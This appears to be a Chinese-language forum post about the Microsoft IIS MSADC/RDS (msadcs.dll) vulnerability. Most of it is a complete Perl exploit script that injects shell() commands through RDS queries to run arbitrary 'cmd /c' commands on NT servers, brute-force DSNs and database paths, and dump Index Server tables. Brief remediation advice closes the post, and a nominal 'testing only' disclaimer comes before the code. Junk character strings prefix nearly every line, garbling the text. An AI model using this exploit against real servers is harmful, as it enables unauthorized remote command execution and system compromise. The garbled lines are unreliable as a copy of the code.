IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
i5|!MIY 8W#whK2El 涉及程序:
xez~Yw2 Microsoft NT server
Io|
72W}rg is`le}$^y 描述:
5y@JMQSO 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
"]`!#5j^WP O7:JG[tR* 详细:
Haiuf)a 如果你没有时间读详细内容的话,就删除:
a&|aK+^8; c:\Program Files\Common Files\System\Msadc\msadcs.dll
6EJ,czt( 有关的安全问题就没有了。
C2FewsRz OZ0q6" 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
h@/c76}f6p oT.g@kf=H 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
k_$w+Q 关于利用ODBC远程漏洞的描述,请参看:
"<NQ2Vr]5 l3-;z)SgH http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm k.?b2]@$ Q+gQ"l,95 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
`AQv\@wp http://www.microsoft.com/security/bulletins/MS99-025faq.asp eZT923tD +ImPNwrY 这里不再论述。
W~FcU+a .\qZkk}2l 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
:*#I1nb$ =((#k DrN /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
ABB4(_3E 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
G^5}T>TV z1_\P) M StA5h+[m #将下面这段保存为txt文件,然后: "perl -x 文件名"
$
^m_M.1 JT, 8/o #!perl
KE6[ u*\ #
H/YZwDx,i # MSADC/RDS 'usage' (aka exploit) script
(+(YO\ng6 #
,J~kwJ$L # by rain.forest.puppy
Tw);`&Ulo #
PO]z'LD # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
M+9G^o)u # beta test and find errors!
Whod_Uk g#T8WX{(V use Socket; use Getopt::Std;
"\U$aaF getopts("e:vd:h:XR", \%args);
o"J}@nF O8r9&Nv print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
H5{d;L1[ SX$v&L< if (!defined $args{h} && !defined $args{R}) {
c{7!:hi`x print qq~
p.n+m[ Usage: msadc.pl -h <host> { -d <delay> -X -v }
{w1sv=$+ -h <host> = host you want to scan (ip or domain)
7;+:J;xf66 -d <seconds> = delay between calls, default 1 second
Zw`Xg@;xP -X = dump Index Server path table, if available
fXEF]C -v = verbose
s-~Tf| -e = external dictionary file for step 5
-!k"*P <9B\(' Or a -R will resume a command session
hj4Kv }L3k pw ~; exit;}
N{ @B@] f^Lw3|rq4 $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
=i4 Ds if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
z;x$tO if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
1nye.i~ if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
ehPrxIyC $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
eI/9uR% if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
JFIUD{>fp YcBY[i0 if (!defined $args{R}){ $ret = &has_msadc;
%c*azo. die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
~8o's` jqhd<w print "Please type the NT commandline you want to run (cmd /c assumed):\n"
^duNEu0* . "cmd /c ";
,nD:W $in=<STDIN>; chomp $in;
@YHB>rNf(7 $command="cmd /c " . $in ;
6V
KsX+sd Uo#%f+t if (defined $args{R}) {&load; exit;}
_ko16wfg +'Ec)7m print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
D9*GS_K2t &try_btcustmr;
4N|^Joi M1^,g~e print "\nStep 2: Trying to make our own DSN...";
%XMwjBM &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
|X,T>{V?y pdX%TrM+[: print "\nStep 3: Trying known DSNs...";
lED-Jo2 &known_dsn;
h/j+b.| R_e{H^pY^ print "\nStep 4: Trying known .mdbs...";
PMe bn$( &known_mdb;
Q-k{Lqa- 7y1J69IK if (defined $args{e}){
mzLDZ#=b print "\nStep 5: Trying dictionary of DSN names...";
I9-vV>:z &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
>jD,%yG |W];8 print "Sorry Charley...maybe next time?\n";
o$8v8="p exit;
:UGc6 . T6fPEb ##############################################################################
NguJ[ 0'{0kE[wn sub sendraw { # ripped and modded from whisker
wws)**]J8 sleep($delay); # it's a DoS on the server! At least on mine...
</3Shq my ($pstr)=@_;
]([:"j socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
4mq+{c0 die("Socket problems\n");
rLw3\>y if(connect(S,pack "SnA4x8",2,80,$target)){
n7>CK?25 select(S); $|=1;
6r4o47_t8# print $pstr; my @in=<S>;
eLXG _Qb" select(STDOUT); close(S);
U ?P5cN return @in;
W 0%FZ0l } else { die("Can't connect...\n"); }}
G%_6"s CZcnX8P'8 ##############################################################################
}J"}5O2,b -'*\KA@u sub make_header { # make the HTTP request
Z6F>SL my $msadc=<<EOT
g!;k$`@{E' POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
Mn7nS: User-Agent: ACTIVEDATA
k7yQEU Host: $ip
1bs8fUPB3 Content-Length: $clen
B:Ec(USe Connection: Keep-Alive
,iY/\
U'' ~0aWjMc(> ADCClientVersion:01.06
]:m>pI*z. Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
d~1Nct$: |-GmW SK_ --!ADM!ROX!YOUR!WORLD!
mZDL=p Content-Type: application/x-varg
6Y<'Lyg/ Content-Length: $reqlen
_R-[*ucq I?nj_ as EOT
(;T$[ru` ; $msadc=~s/\n/\r\n/g;
RLBjl%Q> return $msadc;}
PYX]ld.E m22M[L(q ##############################################################################
28J
;9 4)./d2/E sub make_req { # make the RDS request
bI/d(Q%#< my ($switch, $p1, $p2)=@_;
H7bdL 8/ my $req=""; my $t1, $t2, $query, $dsn;
{-;lcO D C50&SrnBU1 if ($switch==1){ # this is the btcustmr.mdb query
chv0\k"' $query="Select * from Customers where City=" . make_shell();
N%
/if $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
*vqlY[2Ax $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
m2{3j[ ij&_> elsif ($switch==2){ # this is general make table query
@| kBc.(] $query="create table AZZ (B int, C varchar(10))";
'#K:e $dsn="$p1";}
o%_MTCANy eq+t% elsif ($switch==3){ # this is general exploit table query
1~/?W^ir $query="select * from AZZ where C=" . make_shell();
vcTWe$;Q $dsn="$p1";}
q y"VrR Sp8Xka~5*# elsif ($switch==4){ # attempt to hork file info from index server
`vs=
CYs $query="select path from scope()";
Blv!%es $dsn="Provider=MSIDXS;";}
VU6nu4 ^c",!Lp}{ elsif ($switch==5){ # bad query
Mr'P0^^ $query="select";
[!9dA.tF $dsn="$p1";}
+NL^/y<; Qwl=/<p1 $t1= make_unicode($query);
<8Y;9N|94! $t2= make_unicode($dsn);
"e.QiK $req = "\x02\x00\x03\x00";
RSEo'2 $req.= "\x08\x00" . pack ("S1", length($t1));
"'/:Tp) $req.= "\x00\x00" . $t1 ;
ljg2P5 $req.= "\x08\x00" . pack ("S1", length($t2));
;O` \rP5w $req.= "\x00\x00" . $t2 ;
P9h]Bu $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
rrBu6\D return $req;}
1d)wE4c=Z wO:!B\e ##############################################################################
f@U\2r C%P)_)--V sub make_shell { # this makes the shell() statement
CMI'y(GN return "'|shell(\"$command\")|'";}
ivL}\~L 5y]1v ##############################################################################
vowU+Y wBlfQ
w-N sub make_unicode { # quick little function to convert to unicode
{*WJ"9ujp] my ($in)=@_; my $out;
'6U~|d for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
M ,qX return $out;}
GCSR)i| LDDeZY"xd ##############################################################################
e45gjjts -WiOs;2~/ sub rdo_success { # checks for RDO return success (this is kludge)
"[(&$I my (@in) = @_; my $base=content_start(@in);
py#` if($in[$base]=~/multipart\/mixed/){
nd)Z0%xo return 1 if( $in[$base+10]=~/^\x09\x00/ );}
P&PPX#% return 0;}
V/w:^@5+p
$50rj ##############################################################################
D4
{?f<G0F -1dbJ/) sub make_dsn { # this makes a DSN for us
ZI"L\q=|0# my @drives=("c","d","e","f");
!]]QbB print "\nMaking DSN: ";
S |SN3)
foreach $drive (@drives) {
IHqY/ j print "$drive: ";
+-_71rJc. my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
-"J6|Y#8 "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
{z)&=v@ . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
u{Jv6K, $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
cI}qMc return 0 if $2 eq "404"; # not found/doesn't exist
O^fg~g X if($2 eq "200") {
4.]xK2sW foreach $line (@results) {
BQYj"Wi return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
yKE[," } return 0;}
R?aE:\A ,#=ykg*~/ ##############################################################################
kO3{2$S6 !e~Yp0gX# sub verify_exists {
K:PzR,nn my ($page)=@_;
scmn-4j'{ my @results=sendraw("GET $page HTTP/1.0\n\n");
[e1kfw return $results[0];}
Hg)5c!F7 @**@W[EM ##############################################################################
a& >(*PQ ua$H"(#c sub try_btcustmr {
>~O36q^w my @drives=("c","d","e","f");
hw[ jVx my @dirs=("winnt","winnt35","winnt351","win","windows");
v(ABZNIn Nda,G++5( foreach $dir (@dirs) {
$@m)8T print "$dir -> "; # fun status so you can see progress
LxqK@Q<B foreach $drive (@drives) {
,(aOTFQS print "$drive: "; # ditto
DG_tmDT4 $reqlen=length( make_req(1,$drive,$dir) ) - 28;
~ou1{NS $reqlenlen=length( "$reqlen" );
kOfq6[JC $clen= 206 + $reqlenlen + $reqlen;
w k1O*_76 !eb}jL my @results=sendraw(make_header() . make_req(1,$drive,$dir));
JTT"t@__ if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
C;m 7~R else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
mKWfRx*UdG (hywT)#+ ##############################################################################
-[-LR }u |Ad1/>8i sub odbc_error {
piIr.] my (@in)=@_; my $base;
3Cq/
o' my $base = content_start(@in);
Izrf42 >k if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
/Mq]WXq[V $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
Fy4jujP< $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
-fF1vJ7L $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
[~&C6pR return $in[$base+4].$in[$base+5].$in[$base+6];}
>z0~!!YZ print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
/<Nb/#8 print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
m5KB #\ $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
~50b$];y &{ B-a ##############################################################################
oZvQ/|:p! d~L`*"/)[ sub verbose {
q/w U7P\% my ($in)=@_;
ucm3'j return if !$verbose;
sA18f2 print STDOUT "\n$in\n";}
tT7< V{i4 Zf~[4Eeb ##############################################################################
z`gdE0@;d3 jYwv+EXg sub save {
^{<x*/ nK my ($p1, $p2, $p3, $p4)=@_;
4Q0@\dR9 open(OUT, ">rds.save") || print "Problem saving parameters...\n";
X|.M9zIx print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
X1* 6qd+E close OUT;}
qwAN=3@ wn*z* ##############################################################################
x?Wt\<|h! 4m++>q sub load {
^+Ez[S{8 my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
ejj|l
open(IN,"<rds.save") || die("Couldn't open rds.save\n");
>M .?qs4 @p=<IN>; close(IN);
"cerg?ix $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
j7;v'eA`;7 $target= inet_aton($ip) || die("inet_aton problems");
/>fP )56* print "Resuming to $ip ...";
'BT}'qN $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
T-7'#uB.m if($p[1]==1) {
G?-27Jk8 $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
y<YVb@O. $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
8kZ~ my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
fn|l9k~ <O if (rdo_success(@results)){print "Success!\n";}
#plwK-tPR else { print "failed\n"; verbose(odbc_error(@results));}}
fgFBOpG%Gq elsif ($p[1]==3){
1jZ:@M: if(run_query("$p[3]")){
W(*:8}m,p print "Success!\n";} else { print "failed\n"; }}
9kPwUAw elsif ($p[1]==4){
oF/5mh__(K if(run_query($drvst . "$p[3]")){
9%\<x print "Success!\n"; } else { print "failed\n"; }}
K?')#%Z/{# exit;}
RL>Nl ow 5GK=R aV ##############################################################################
2,Y8ML< N"|^AF sub create_table {
`Rj<qz^7 my ($in)=@_;
1E Lzzn $reqlen=length( make_req(2,$in,"") ) - 28;
RMB?H)p+ $reqlenlen=length( "$reqlen" );
9GS<d.#Nvc $clen= 206 + $reqlenlen + $reqlen;
Cna@3)_ my @results=sendraw(make_header() . make_req(2,$in,""));
dN>XZv return 1 if rdo_success(@results);
L1u
my $temp= odbc_error(@results); verbose($temp);
Auhw(b>}TW return 1 if $temp=~/Table 'AZZ' already exists/;
w<_.T# return 0;}
Du>dTi~ VVuL+i ##############################################################################
#bPio g~d}?B\<@ sub known_dsn {
Egt;Bj#% # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
`gqBJi my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
9vL`|`Vau "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
ErF;5ec "banner", "banners", "ads", "ADCDemo", "ADCTest");
_<5 o1 ;VS;),h/ foreach $dSn (@dsns) {
cHK)e2r print ".";
>HnD'y* next if (!is_access("DSN=$dSn"));
F#_7m C if(create_table("DSN=$dSn")){
JJ56d)37. print "$dSn successful\n";
XF2u<sDe if(run_query("DSN=$dSn")){
&0TOJ:RP print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
)8oI
s print "Something's borked. Use verbose next time\n";}}} print "\n";}
wgSA6mQZ ,_`\c7@ ##############################################################################
~Dr/+h:^\ gcr,?rE< sub is_access {
VL"ZC:n)- my ($in)=@_;
sS OI5W3A $reqlen=length( make_req(5,$in,"") ) - 28;
iR4CY- $reqlenlen=length( "$reqlen" );
9>psQ0IRvr $clen= 206 + $reqlenlen + $reqlen;
MoA2Cp;8X my @results=sendraw(make_header() . make_req(5,$in,""));
>q
<,FY!A my $temp= odbc_error(@results);
NTiJEzW} verbose($temp); return 1 if ($temp=~/Microsoft Access/);
`Oys&]vb return 0;}
1W-t})!a T4T_32`XR ##############################################################################
'9GHmtdO, xZFha=# sub run_query {
AW6]S*rh my ($in)=@_;
v:CYf_ $reqlen=length( make_req(3,$in,"") ) - 28;
'#t"^E2$ $reqlenlen=length( "$reqlen" );
cl2@p@av $clen= 206 + $reqlenlen + $reqlen;
IDzP<u8v my @results=sendraw(make_header() . make_req(3,$in,""));
aEX;yy* return 1 if rdo_success(@results);
1oo'\ my $temp= odbc_error(@results); verbose($temp);
sCaw"{5qc return 0;}
/exV6D r {Cs~5jYz ##############################################################################
G5zZf~r <_MQC sub known_mdb {
k(\HAIW my @drives=("c","d","e","f","g");
IGql^,b my @dirs=("winnt","winnt35","winnt351","win","windows");
U*/ my $dir, $drive, $mdb;
t=S94^g my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
<PW*vo9v |x{:GWq # this is sparse, because I don't know of many
m&,d8Gss^ my @sysmdbs=( "\\catroot\\icatalog.mdb",
8,Yc1 "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
EBw}/y{Kt "\\system32\\certmdb.mdb",
)aquf<u@ "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
u4$d#0sA dT,X8 " my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
i[d-n/) "\\cfusion\\cfapps\\forums\\forums_.mdb",
KBzEEvx/$ "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
6luCi$bL "\\cfusion\\cfapps\\security\\realm_.mdb",
)QaJYC^+ "\\cfusion\\cfapps\\security\\data\\realm.mdb",
m*P~X*St "\\cfusion\\database\\cfexamples.mdb",
9R>A,x( "\\cfusion\\database\\cfsnippets.mdb",
/j
-LW1:N "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
i1vBg}WHN "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
n5UcivyX
"\\cfusion\\brighttiger\\database\\cleam.mdb",
(W3R3>; "\\cfusion\\database\\smpolicy.mdb",
abD55YJY "\\cfusion\\database\cypress.mdb",
;eG%#=> "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
bm%2K@ /U "\\website\\cgi-win\\dbsample.mdb",
t> &$_CSWK "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
zo@>~G3$9 "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
\I#lLP ); #these are just
H|F>BjXn5 foreach $drive (@drives) {
&z{oVU+mA foreach $dir (@dirs){
3X0^xUA6 foreach $mdb (@sysmdbs) {
* _C6.%{ print ".";
~u%9@}Oo> if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
$q.8ve0&^ print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
z2!NBOv if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
,a$LT
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
4s`*o/it } else { print "Something's borked. Use verbose next time\n"; }}}}}
XPUH\I= $g#X9/+< foreach $drive (@drives) {
.eZ4?|at.F foreach $mdb (@mdbs) {
jc;&g)Rv print ".";
!SiZA" if(create_table($drv . $drive . $dir . $mdb)){
<6p{eGAQV print "\n" . $drive . $dir . $mdb . " successful\n";
u9mMkzgSkP if(run_query($drv . $drive . $dir . $mdb)){
/CKkT.Le print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
xkUsZ*X8B } else { print "Something's borked. Use verbose next time\n"; }}}}
Ofqe+C }
'.WYs! M%&`&{ ##############################################################################
}kL%l q7 Uu 8JXF sub hork_idx {
?Dd2k%o print "\nAttempting to dump Index Server tables...\n";
'y-IE#!5 print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
HW.S~eLw* $reqlen=length( make_req(4,"","") ) - 28;
qK|r+}g|& $reqlenlen=length( "$reqlen" );
A!iH g__/t $clen= 206 + $reqlenlen + $reqlen;
gADt%K2#Z my @results=sendraw2(make_header() . make_req(4,"",""));
S)g5Tu) if (rdo_success(@results)){
L=Dx$#| my $max=@results; my $c; my %d;
MrOW&7 for($c=19; $c<$max; $c++){
.&r]
?O $results[$c]=~s/\x00//g;
n0Ze9W+< $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
e"^1- U\ $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
@!%<JZEz3 $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
e
yTYg $d{"$1$2"}="";}
Gjy'30IF foreach $c (keys %d){ print "$c\n"; }
Duptles } else {print "Index server doesn't seem to be installed.\n"; }}
vU{ZB^+&6o 2Y 6/,W ##############################################################################
^Po\:x%o k qwS/s sub dsn_dict {
Ta/G open(IN, "<$args{e}") || die("Can't open external dictionary\n");
?/dz!{JC while(<IN>){
`mCcD $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
>Cd%tIie* next if (!is_access("DSN=$dSn"));
7
hnTHL if(create_table("DSN=$dSn")){
F;q I^{m2 print "$dSn successful\n";
.^JID~<?# if(run_query("DSN=$dSn")){
>)#*}JI print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
pk;bx2CP8 print "Something's borked. Use verbose next time\n";}}}
0"
R|lTYq print "\n"; close(IN);}
ynP^|Ou rK=[&k ##############################################################################
Y
3KCIL9 y0(k7D|\ sub sendraw2 { # ripped and modded from whisker
d9Rj-e1x sleep($delay); # it's a DoS on the server! At least on mine...
vNE91 my ($pstr)=@_;
/ d6mlQS socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
i7 p#%2 die("Socket problems\n");
}b\d CGVr if(connect(S,pack "SnA4x8",2,80,$target)){
;'gzRC print "Connected. Getting data";
q%>L/KJ# open(OUT,">raw.out"); my @in;
mhlJzGr*q select(S); $|=1; print $pstr;
+hXph while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
zT_{M
qY close(OUT); select(STDOUT); close(S); return @in;
}s{zy:1O } else { die("Can't connect...\n"); }}
o`RTvGXk l[\[)X3$ ##############################################################################
0dIJgKanGP |&RdOjw$u sub content_start { # this will take in the server headers
,3fw"P$ my (@in)=@_; my $c;
b GwLfU for ($c=1;$c<500;$c++) {
/tt if($in[$c] =~/^\x0d\x0a/){
aK1|b=gVj if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
Lk3@Eu) else { return $c+1; }}}
(''`Ce return -1;} # it should never get here actually
yRieGf1'SD B*D`KA ##############################################################################
,C=Fgxw( -QZped;?* sub funky {
4s"8e]q= my (@in)=@_; my $error=odbc_error(@in);
?c>j^}A/N if($error=~/ADO could not find the specified provider/){
d>vGx print "\nServer returned an ADO miscofiguration message\nAborting.\n";
t}'Oh}CG exit;}
/5yWvra if($error=~/A Handler is required/){
M5%u>$2 print "\nServer has custom handler filters (they most likely are patched)\n";
M6 0(yTm exit;}
xTAC&OCk^[ if($error=~/specified Handler has denied Access/){
y'4= print "\nServer has custom handler filters (they most likely are patched)\n";
JN3Oe5yB2@ exit;}}
j/^0q90QO p(Qm\g< ##############################################################################
evszfCH'J QKOo
#7 sub has_msadc {
7J>n;8{%? my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
lZ_i~;u4@v my $base=content_start(@results);
37lmB
'~ return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
GhpH7%s return 0;}
/ebYk-c Xv:<sX ########################
UTs0=:+,t - }
Z t5eux&C 解决方案:
IOIGLtB
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
;TaT=% 2、移除web 目录: /msadc